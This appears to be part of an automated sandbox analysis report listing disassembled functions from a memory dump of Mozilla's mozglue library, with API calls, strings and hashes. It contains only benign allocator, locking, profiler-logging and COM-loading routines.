Part of subcall function 6C411EF0: GetCurrentThreadId.KERNEL32 ref: 6C411F03
Part of subcall function 6C411EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C411DF2,00000000,00000000), ref: 6C411F0C
Part of subcall function 6C411EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C411F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C411DF4

Part of subcall function 6C3DCA10: malloc.MOZGLUE(?), ref: 6C3DCA26

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: dd1b79332545d3acbdc9556a20438b69964608787496d38eca53f74d78f44c1f
Instruction ID: 1d376fb8bbb1179c210553d35e1b3e2e1ba5c91031fef7c228f9ce9396dbfd85
Opcode Fuzzy Hash: dd1b79332545d3acbdc9556a20438b69964608787496d38eca53f74d78f44c1f
Instruction Fuzzy Hash: 35416AB52007049FCB10EF25C488E5ABBF5FB89318F20846EE99A87B41CB71F814CB91

Function 6C4084E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C4084F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C40850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C40851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C40855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C40856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C4085AC

Part of subcall function 6C407670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C4085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C40767F
Part of subcall function 6C407670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C4085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C407693
Part of subcall function 6C407670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C4085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C4076A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C4085B2

Part of subcall function 6C3E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C3E5EDB
Part of subcall function 6C3E5E90: memset.VCRUNTIME140(ewBl,000000E5,?), ref: 6C3E5F27
Part of subcall function 6C3E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C3E5FB2

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: f1183635764d4d16935517591c74b4e14912b8d91330857be674fcd915a10f51
Instruction ID: 4eee1e465e7906cfec10acee283ee0661025d8557243de66f23e496ca6ddbdba
Opcode Fuzzy Hash: f1183635764d4d16935517591c74b4e14912b8d91330857be674fcd915a10f51
Instruction Fuzzy Hash: F9219F743006018FDB14EB64D888E6AB7B5EF8431EF24482DE59B83B41EB31F948CB51

Function 6C3D1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C3D1699
VerSetConditionMask.NTDLL ref: 6C3D16CB
VerSetConditionMask.NTDLL ref: 6C3D16D7
VerSetConditionMask.NTDLL ref: 6C3D16DE
VerSetConditionMask.NTDLL ref: 6C3D16E5
VerSetConditionMask.NTDLL ref: 6C3D16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C3D16F9

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 3084c75ff2fb395d9a37457c0a4ec019402ff7c6488174a5a2b6bd9e84df0f9a
Instruction ID: a577e617620c0d3dde5f7e08cfb717eb3905f02ab9120d6d162c9870c452cfc2
Opcode Fuzzy Hash: 3084c75ff2fb395d9a37457c0a4ec019402ff7c6488174a5a2b6bd9e84df0f9a
Instruction Fuzzy Hash: BD21C0B1B402086BFB10AB648C85FBBB27CEBC6718F018528F6459B5C1C678AD548AA1

Function 6C40F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C3FCBE8: GetCurrentProcess.KERNEL32(?,6C3C31A7), ref: 6C3FCBF1
Part of subcall function 6C3FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C3C31A7), ref: 6C3FCBFA

Part of subcall function 6C409420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C3D4A68), ref: 6C40945E
Part of subcall function 6C409420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C409470
Part of subcall function 6C409420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C409482
Part of subcall function 6C409420: __Init_thread_footer.LIBCMT ref: 6C40949F

GetCurrentThreadId.KERNEL32 ref: 6C40F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C40F598), ref: 6C40F621

Part of subcall function 6C4094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4094EE
Part of subcall function 6C4094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C409508

GetCurrentThreadId.KERNEL32 ref: 6C40F637
AcquireSRWLockExclusive.KERNEL32(6C44F4B8,?,?,00000000,?,6C40F598), ref: 6C40F645
ReleaseSRWLockExclusive.KERNEL32(6C44F4B8,?,?,00000000,?,6C40F598), ref: 6C40F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C40F62A

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 0a5375a8afb90398a2585686a6716faf678934c01f470c92dc72b39a722d2e72
Instruction ID: 6bb55fef60c8cb7b31bf1fbaf694d2e5d00a275aedb378aab1c3b233041e13c0
Opcode Fuzzy Hash: 0a5375a8afb90398a2585686a6716faf678934c01f470c92dc72b39a722d2e72
Instruction Fuzzy Hash: 9511C475306604ABEA04FF19D844DA9B779FB8636DF704435EA0583F01CB31A812CBA4

Function 6C3D2070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C3FAB89: EnterCriticalSection.KERNEL32(6C44E370,?,?,?,6C3C34DE,6C44F6CC,?,?,?,?,?,?,?,6C3C3284), ref: 6C3FAB94
Part of subcall function 6C3FAB89: LeaveCriticalSection.KERNEL32(6C44E370,?,6C3C34DE,6C44F6CC,?,?,?,?,?,?,?,6C3C3284,?,?,6C3E56F6), ref: 6C3FABD1

LoadLibraryW.KERNEL32(combase.dll,6C3D1C5F), ref: 6C3D20AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C3D20CD
__Init_thread_footer.LIBCMT ref: 6C3D20E1
FreeLibrary.KERNEL32 ref: 6C3D2124

Strings

CoInitializeSecurity, xrefs: 6C3D20C7
combase.dll, xrefs: 6C3D20A9

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: b0ce26798d785d3b9f8e992674995116b2d6e2adf238d769ad4bdd3ee9d3e006
Instruction ID: 1fa238881998615c1aae991eb31c2468e94ad84f265ab34b61a1d9d83ac36176
Opcode Fuzzy Hash: b0ce26798d785d3b9f8e992674995116b2d6e2adf238d769ad4bdd3ee9d3e006
Instruction Fuzzy Hash: 45216A76201209AFEF11FF55DD48E8A3B7AFB4A369F218014FA1492611D732A861CFA1

Function 6C4276C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C4276F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C427705

Part of subcall function 6C3DCA10: malloc.MOZGLUE(?), ref: 6C3DCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C427717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C42778F,00000000,00000000,00000000,00000000), ref: 6C427731
free.MOZGLUE(00000000), ref: 6C427760

Strings

}>@l, xrefs: 6C4276C4

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>@l
API String ID: 2538299546-580455857
Opcode ID: 39b5306de34d10a6aa04444693a44a4173cbabbaa5837645c36ae6adcd33ae33
Instruction ID: ac0ab2e82fed70542df90556370a4b654948d764069c946bc94eb9c09a33ab1d
Opcode Fuzzy Hash: 39b5306de34d10a6aa04444693a44a4173cbabbaa5837645c36ae6adcd33ae33
Instruction Fuzzy Hash: 281190B1D052256BE710EF66DC45FABBEF8EF85354F144529E888E7300E77498448BE2

Function 6C3D1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C3FAB89: EnterCriticalSection.KERNEL32(6C44E370,?,?,?,6C3C34DE,6C44F6CC,?,?,?,?,?,?,?,6C3C3284), ref: 6C3FAB94
Part of subcall function 6C3FAB89: LeaveCriticalSection.KERNEL32(6C44E370,?,6C3C34DE,6C44F6CC,?,?,?,?,?,?,?,6C3C3284,?,?,6C3E56F6), ref: 6C3FABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C3D1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C3D1FFD
__Init_thread_footer.LIBCMT ref: 6C3D2011
FreeLibrary.KERNEL32 ref: 6C3D2059

Strings

combase.dll, xrefs: 6C3D1FD9
CoCreateInstance, xrefs: 6C3D1FF7

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 81bb05112a68e45f658acf60529d7ce69c8003485ffc4a77435d474c3e5d3428
Instruction ID: 70ec3d36e66a40dfc751cfe891bd89b5397b8e796f4f126526ce862a720352a9
Opcode Fuzzy Hash: 81bb05112a68e45f658acf60529d7ce69c8003485ffc4a77435d474c3e5d3428
Instruction Fuzzy Hash: A2117C76202214AFFF10FF55C94AE9A3B79EB8636DF20C029E91492641C732A811CFA1

Function 6C3D0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C3FAB89: EnterCriticalSection.KERNEL32(6C44E370,?,?,?,6C3C34DE,6C44F6CC,?,?,?,?,?,?,?,6C3C3284), ref: 6C3FAB94
Part of subcall function 6C3FAB89: LeaveCriticalSection.KERNEL32(6C44E370,?,6C3C34DE,6C44F6CC,?,?,?,?,?,?,?,6C3C3284,?,?,6C3E56F6), ref: 6C3FABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C3FD9F0,00000000), ref: 6C3D0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C3D0F3C
__Init_thread_footer.LIBCMT ref: 6C3D0F50
FreeLibrary.KERNEL32(?,6C3FD9F0,00000000), ref: 6C3D0F86

Strings

CoInitializeEx, xrefs: 6C3D0F36
combase.dll, xrefs: 6C3D0F18

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: aacc866775279fda342c717b3801c7045cf863b7d8e6de2a90bdb9dfaa7b86cf
Instruction ID: fa1a08795a05d73153cf7d222e608f45258b60b87b5160cdfebd76e3d1d4636d
Opcode Fuzzy Hash: aacc866775279fda342c717b3801c7045cf863b7d8e6de2a90bdb9dfaa7b86cf
Instruction Fuzzy Hash: 6D11A7752062409BFF00FF95C908E4AB778E78A73DF32C519E90582642D731A401CE52

Function 6C40F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C409420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C3D4A68), ref: 6C40945E
Part of subcall function 6C409420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C409470
Part of subcall function 6C409420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C409482
Part of subcall function 6C409420: __Init_thread_footer.LIBCMT ref: 6C40949F

GetCurrentThreadId.KERNEL32 ref: 6C40F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C40F561

Part of subcall function 6C4094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4094EE
Part of subcall function 6C4094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C409508

GetCurrentThreadId.KERNEL32 ref: 6C40F577
AcquireSRWLockExclusive.KERNEL32(6C44F4B8), ref: 6C40F585
ReleaseSRWLockExclusive.KERNEL32(6C44F4B8), ref: 6C40F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C40F56A
[I %d/%d] profiler_resume, xrefs: 6C40F239
[I %d/%d] profiler_pause_sampling, xrefs: 6C40F3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6C40F499

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 6103443f6399b67f31ac804d699a5c536a16f313337a80f60646170e9e4fbb44
Instruction ID: ca14272f4fc35100126c52f0a701ee0beacfb39c52d9f4af366bb19b7920498e
Opcode Fuzzy Hash: 6103443f6399b67f31ac804d699a5c536a16f313337a80f60646170e9e4fbb44
Instruction Fuzzy Hash: FFF05475701604ABFA00FB659C48E5E777DEB9A26DF308035EA0583702DF75480587A5

Function 6C40F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C409420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C3D4A68), ref: 6C40945E
Part of subcall function 6C409420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C409470
Part of subcall function 6C409420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C409482
Part of subcall function 6C409420: __Init_thread_footer.LIBCMT ref: 6C40949F

GetCurrentThreadId.KERNEL32 ref: 6C40F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C40F598), ref: 6C40F621

Part of subcall function 6C4094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4094EE
Part of subcall function 6C4094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C409508

GetCurrentThreadId.KERNEL32 ref: 6C40F637
AcquireSRWLockExclusive.KERNEL32(6C44F4B8,?,?,00000000,?,6C40F598), ref: 6C40F645
ReleaseSRWLockExclusive.KERNEL32(6C44F4B8,?,?,00000000,?,6C40F598), ref: 6C40F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C40F62A

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 274c9f06ac9ea007da2242e9f8134a11248fce794fc796b8812dd7b7c3fa1062
Instruction ID: 2962c2c215c42b91788069f3daaed4f1ece83c41802c7881845f95162313de6b
Opcode Fuzzy Hash: 274c9f06ac9ea007da2242e9f8134a11248fce794fc796b8812dd7b7c3fa1062
Instruction Fuzzy Hash: D5F05EB5301604ABFA00FB659C48E5E7B7DEBD62ADF308435EA0583741DF76480687A5

Function 6C3D0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C3D0DF8), ref: 6C3D0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C3D0EA1
__Init_thread_footer.LIBCMT ref: 6C3D0EB5
FreeLibrary.KERNEL32 ref: 6C3D0EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C3D0E9B
kernel32.dll, xrefs: 6C3D0E7D

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 375f12408987555fa3d2e0af367b4e2036a426c68def6a08db1f328122a7c741
Instruction ID: 4ef85a767870614e08b70ff91361a6efcc17b69414334b326a3d8505e5597beb
Opcode Fuzzy Hash: 375f12408987555fa3d2e0af367b4e2036a426c68def6a08db1f328122a7c741
Instruction Fuzzy Hash: 08017871B02B828BFA00FFA9C804E0A73B5E74670DF31A925990082F40D739B4048E12

Function 6C4005F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C3FCFAE,?,?,?,6C3C31A7), ref: 6C4005FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C3FCFAE,?,?,?,6C3C31A7), ref: 6C400616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C3C31A7), ref: 6C40061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C3C31A7), ref: 6C400627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C40061B, 6C400625
<jemalloc>, xrefs: 6C4005FA, 6C40060F

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 1ec0686f0a757415a33ae004931a876a3a5ba7c86e40ccf9c08d83c25f3bc514
Instruction ID: c5289848fe13d4bf4ffb512a149cf50deb4d3b6f5afb03e468b29ac1308883e9
Opcode Fuzzy Hash: 1ec0686f0a757415a33ae004931a876a3a5ba7c86e40ccf9c08d83c25f3bc514
Instruction Fuzzy Hash: E5E08CE2A0202037F614B256AC86EBB761CDBCA138F080139FD0D86301E94AAD1A51F6

Function 6C3D05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5862c2d22d57011edf83a08be527c5196c7ca49c69c7cefdba4aced157519080
Instruction ID: bd661fdce7f27a8ede6a0e5f0f7637768c9ccd7ba264f171eeadd6170b13dcdf
Opcode Fuzzy Hash: 5862c2d22d57011edf83a08be527c5196c7ca49c69c7cefdba4aced157519080
Instruction Fuzzy Hash: D5A159B1A016058FDB14CF29C584A9AFBF1FF48708F55866ED48A9BB00E731B945CFA0

Function 6C4214A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C4214C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4214E2
GetCurrentThreadId.KERNEL32 ref: 6C421546
InitializeConditionVariable.KERNEL32(?), ref: 6C4215BA
free.MOZGLUE(?), ref: 6C4216B4

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
